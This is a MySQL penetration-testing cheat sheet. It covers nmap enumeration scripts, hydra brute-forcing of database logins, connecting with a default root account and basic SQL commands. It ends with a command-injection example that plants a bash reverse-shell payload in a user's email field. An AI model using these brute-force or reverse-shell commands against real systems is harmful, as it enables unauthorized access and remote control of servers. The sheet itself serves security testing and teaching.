MySQL Pentesting

Last modified: 2023-04-10

Database Privilege Escalation

It is a relational database management system. A default port is 3306.


nmap --script mysql-info -p 3306 <target-ip>
nmap --script mysql-enum -p 3306 <target-ip>
nmap --script mysql-brute -p 3306 <target-ip>
nmap --script mysql-databases -p 3306 <target-ip>
nmap --script mysql-users -p 3306 <target-ip>
nmap --script mysql-* -p 3306 <target-ip>

Brute Force Credentials

hydra -l username -P passwords.txt <target-ip> mysql
hydra -L usernames.txt -p password <target-ip> mysql


"mysql" command can be replaced with "mariadb" .


# No password
mysql -u username

# With Password
mysql -u username -p

# Specity database name
mysql -u username -p database_name

# Execute commands
mysql -u username -p database_name -e "show databases;"
echo '<password>' | mysql -u username -p database_name -e "show databases;"


mysql -u username -p -h <target-ip> -P 3306

# Without password (remove -p)
mysql -u username -h <target-ip> -P 3306

# Specify database (-D)
mysql -u username -p -h <target-ip> -D database_name

# Default credential (username: root, no password)
mysql -u root -h <target-ip> -P 3306


After connecting MySQL, you can load a local .sql file.
Note that you need to change the current directory to the directory in which the .sql file is located.

> source example.sql

Belows are basic commands.

# Display databases
> show databases;

# Switch to the database
> use db_name;

# Display tables in the current database
> show tables;
# Display tables and table type
> show full tables;
# Display tables in the database
> show tables from <database>;
# Display tables which names start with 'user'
> show tables like 'user%';
# Display tables which names start with 'user' in the database
> show tables from <database> like 'user%';

# Display columns in a given table
> show columns from <table>;

# Display everything in the table
> select * from <table>;

# Create new table
> create table table_name(column_name column_type);
> create table table_name(user_id int, user_name varchar(40));

# Create an user-defined function
> create function func_name(param1, param2) returns datatype;
> create function new_fund(age integer) returns integer;

# Use a function
> select func_name(param1, param2);

# Insert new record to a given table
> insert into <table> values(value1, value2);

# Update data in a given table
> update <table> set <column>='<value>'
> update <table> set <column1>='<value1>',<column2>='<value2>'
# e.g.
> update users set role='admin' where username='john';

Command Injection

We can inject the OS command to column values e.g. email address.
Depending on the situation, we may be able to execute arbitrary command.

# Update existing user email to execute reverse shell
> update exampledb.users SET email='admin@shell|| bash -c "bash -i >& /dev/tcp/ 0>&1" &' where name like 'admin%';